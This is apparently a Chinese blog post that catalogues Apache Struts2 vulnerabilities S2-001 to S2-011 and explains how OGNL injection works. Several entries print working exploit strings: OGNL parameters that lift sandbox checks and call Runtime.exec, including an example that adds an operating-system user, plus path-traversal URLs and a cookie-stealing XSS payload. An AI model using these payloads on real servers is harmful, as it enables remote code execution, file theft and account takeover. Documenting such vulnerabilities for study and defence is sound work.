• struts2漏洞列表


    【官方ID】S2-001
    【危害等级】高
    【受影响版本】

    WebWork 2.1(开启altSyntax)
    WebWork 2.2.0 – WebWork 2.2.5
    Struts 2.0.0 – Struts 2.0.8

    【漏洞描述】
    altSyntax特性默认不开启,开启后,允许在文本串中注入OGNL表达式,且注入的表达式被逐层递归执行。攻击者可以在HTML中text域输入OGNL表达式,当form在服务器验证出错时,OGNL表达式被执行。

    【Exploit】
    举个例子,下面的form中,含有两个text域,其中,“phoneNumber”要求输入非空串:
    <s:form action="editUser">

    <s:textfield name="name" />
    <s:textfield name="phoneNumber" />

    </s:form>
    用户可以输入如下值:
    “name”: %{1+1}

    "phoneNumber": (blank)

    该form提交后,会在server上进行校验,phoneNumber校验出错,返回页面name中的值显示为‘2’,
    原因是,altSyntax开启后,name的输入会当做OGNL表达式(%{name})处理,输入%{1+1}后,服

    务器实际处理的是%{%{1+1}}。OGNL递归解析,得到%{2},回显为2.
    当用户输入为某个可执行的code时,OGNL解析过程中,导致执行。

    【漏洞参考】
    http://struts.apache.org/2.x/docs/s2-001.html

    XWork 绕过参数拦截器执行OGNL语句

    【官方ID】S2-003
    【危害等级】高
    【受影响版本】
    Struts 2.0.0 – Struts 2.0.11.2

    【漏洞描述】
     攻击者可利用该漏洞绕过xwork参数拦截器,获取服务器端上下文信息。原因:内置参数拦截器’#’处理不当。为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值。

    【Exploit】
     设置#session.use为’0wn3d’:

     ('\u0023' + 'session[\'user\']')(unused)=0wn3d

    URL编码后:('\u0023'%20%2b%20'session[\'user\']')(unused)=0wn3d

    其他exp,未试过:

    此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

    ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

    转义后是这样:

    ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

    OGNL处理时最终的结果就是

    java.lang.Runtime.getRuntime().exit(1);  //关闭程序,即将web程序关闭

    类似的可以执行

    java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)

    只要有权限就可以执行任何DOS命令。

    【漏洞参考】
    http://struts.apache.org/2.x/docs/s2-003.html

    目录遍历漏洞可以获取服务器静态文件

    【官方ID】S2-004
    【危害等级】高
    【受影响版本】
    Struts 2.0.0 – Struts 2.0.11.2

    【漏洞描述】
     原因:struts2分派器设计问题。允许攻击者获取服务器的静态文件,如class目录下的class文件、配置文件。

    【Exploit】
     http://localhost:8080/struts2-blank-2.0.11.1/struts..

    http://localhost:8080/struts2-blank-2.0.11.1/struts/..%252f

    http://exampletomcat.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Login.class/

    直接使用框架自带的app就可以。

    【漏洞参考】
    http://struts.apache.org/2.x/docs/s2-004.html

    绕过xwork拦截器,远程命令执行

    【官方ID】S2-005
    【危害等级】高
    【受影响版本】
    Struts 2.0.0 – Struts 2.1.8.1

    【漏洞描述】
      s-002中的老洞,后来被爆出很多地方都有:

    • #context
    • #_memberAccess
    • #root
    • #this
    • #_typeResolver
    • #_classResolver
    • #_traceEvaluations
    • #_lastEvaluation
    • #_keepLastEvaluation

    【Exploit】

    【漏洞参考】
    http://struts.apache.org/2.x/docs/s2-005.html

    XWork生成的错误页面允许XSS

    【官方ID】S2-006
    【危害等级】高
    【受影响版本】
    Struts 2.0.0 – Struts 2.2.1.1

    【漏洞描述】
      XWork默认未过滤action的名字,导致允许xss。

    【Exploit】

      当使用DMI方式时,action的名字是由URL中的request参数指定的。通过访问一个不存在的jsp页面或调用不存在的方法,产生错误页面,在参数中xss:

    http://localhost:8080/struts2-blank/home.action!login:cantLogin<script>alert(document.cookie)</script>=some_value

    这个洞修改了很多次,之前是过滤’<script>’,用’<<<script>>>’绕过,后来加个while,处理每个<>,但是还是可以绕过,如<script src=src>。

    【漏洞参考】
    http://struts.apache.org/2.x/docs/s2-006.html

    OGNL远程代码执行漏洞

    【官方ID】S2-007
    【危害等级】高
    【受影响版本】
    Struts 2.0.0 – Struts 2.2.3

    【漏洞描述】
      转换错误,导致用户输入可以当做OGNL表达式执行。

    【Exploit】

      这个exp还未找到。kxlzx的一篇分析http://www.inbreak.net/archives/363

    【漏洞参考】
    http://struts.apache.org/2.x/docs/s2-007.html

    struts2多个安全漏洞

    【官方ID】S2-008
    【危害等级】高
    【受影响版本】
    Struts 2.1.0 – Struts2.3.1

    【漏洞描述】

    1. Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)
      老洞,未修改彻底,或者说出现了新的攻击方法。原因:类型转换错误导致OGNL表达式注入任意代码,服务器执行OGNL时触发。kxlzx给了一份详细的分析文档(http://www.inbreak.net/archives/363)。
    2. Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
      cookie拦截器的远程代码执行,比较少用到。cookie拦截器在处理cookiename的时候,会遍历cookiemap,将cookie中的key和value进行OGNL赋值处理:

    stack.setValue(cookieName, cookieValue);

    //可以看到,cookiename被当做OGNL表达式处理,改对象由用户提交的。通常程序中,会指定一个白名单,只接受指定的cookiename。如果开发人员,将其配置为“*”,允许了用户提交的所有的cookiename。tomcat中已经有处理,攻击无法进行。

    //以下为cookieName中不允许的字符

    public static final char SEPARATORS[] = { '\t', ' ', '\"', '(', ')', ',', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '{', '}' }

    1. Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
      老外爆出的漏洞,原因看不懂。
    2. Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)
      发布的web应用程序使用devlopMode。该模式下的DebuggingInterceptor 允许远程代码执行。DebuggingInterceptor 拦截器处理参数时,接收到ognl时,可以直接执行。

    【Exploit】

    【漏洞参考】
    http://struts.apache.org/2.x/docs/s2-008.html

    http://www.inbreak.net/archives/481

    http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html

    参数拦截器漏洞导致远程命令执行

    【官方ID】S2-009
    【危害等级】高
    【受影响版本】
    Struts 2.0.0 – Struts 2.3.1.1

    【漏洞描述】
      ParameterInterceptor 可以bypass,正则表达式中匹配到top[‘foo’](0),将其当做有效的表达式,OGNL当做(top[‘foo’](0))处理了,而且还把’foo’的参数当做OGNL表达式来处理。攻击者可以将任意的OGNL语句存储在action暴露出的string变量中,由于OGNL语句存在于http参数中,攻击者可以用黑名单中的字符(如’#’)来禁止method直行,绕过参数拦截器和OGNL库的防护措施,直行其他恶意方法。

    【Exploit】

    假设存在漏洞的Action为 FooAction,代码如下:

    //要求Action中有setFoo()getFoo()方法
    public class FooAction {
        private String foo;
        public String execute() {
            return "success";
        }
        public String getFoo() {
            return foo;
        }
        public void setFoo(String foo) {
            this.foo = foo;
        }
    }
     
    //exp create /tmp/PWNAGE directory
    /action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true
    //URL编码后:
    /action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
     

    【漏洞参考】
    http://struts.apache.org/2.x/docs/s2-009.html

    解释

    bypass的原理是利用了ognl的执行顺序。
    假设有ognl语句如下:
    (表达式1)(表达式2)
    ognl会首先执行“表达式1”,假设得出结果为“12345”,后续流程,会把“12345”作为一个表达式再次执行。

    在早期的远程代码执行漏洞修补中,会判断参数名称是否安全,而这里的参数名称叫做“foo”,这当然是安全的。Exp的第二个字段:
    &z[(foo)('meh')]=true
    这里写的非常复杂,其实还是那个原理,foo在第一个字段中,已经被赋值了,这里直接使用foo的值,作为新的表达式,再次执行掉了。

    CSRF防护绕过

    【官方ID】S2-010、CVE-2012-4386
    【危害等级】高
    【受影响版本】
       Struts 2.0.0 – Struts 2.2.4

    【漏洞描述】
       struts2的token验证机制(token标签和token拦截器)最初用于检查双击提交表格。假如攻击者以获取某个session的属性(name和value,String类型),可以构造一个request,修改token name 参数(name和value),以绕过token检查。

    【Exploit】

     暂未找到

    【漏洞参考】
    http://struts.apache.org/2.x/docs/s2-010.html

    Dos攻击

    【官方ID】S2-011、CVE-2012-4387
    【危害等级】高
    【受影响版本】
    Struts 2.0.0 – Struts 2.3.4

    【漏洞描述】
     struts2将request参数都当做OGNL表达式来处理,攻击者可以构造包含超长参数名的request,OGNL在处理超长参数名时,消耗服务器CPU,大量的这种请求,可以构成Dos攻击。

    【Exploit】

      这个exp还未找到。在struts2.3.4.1中限定参数名最大为100个字符,在参数拦截器配置中,修改paramNameMaxLength可以更改限定值。

    【漏洞参考】
    http://struts.apache.org/2.x/docs/s2-011.html

  • 相关阅读:
    3月27日
    IndiaHacks 2016
    华东交通大学2017年ACM“双基”程序设计竞赛 1003
    华东交通大学2017年ACM“双基”程序设计竞赛 1002
    华东交通大学2017年ACM“双基”程序设计竞赛 1008
    华东交通大学2017年ACM“双基”程序设计竞赛 1010
    华东交通大学2017年ACM“双基”程序设计竞赛 1001
    OpenCV3的配置(VS2015)
    Python 起步 多版本共存配置
    栈与队列试题中的操作代码
  • 原文地址:https://www.cnblogs.com/vman/p/2797340.html
Copyright © 2020-2023  润新知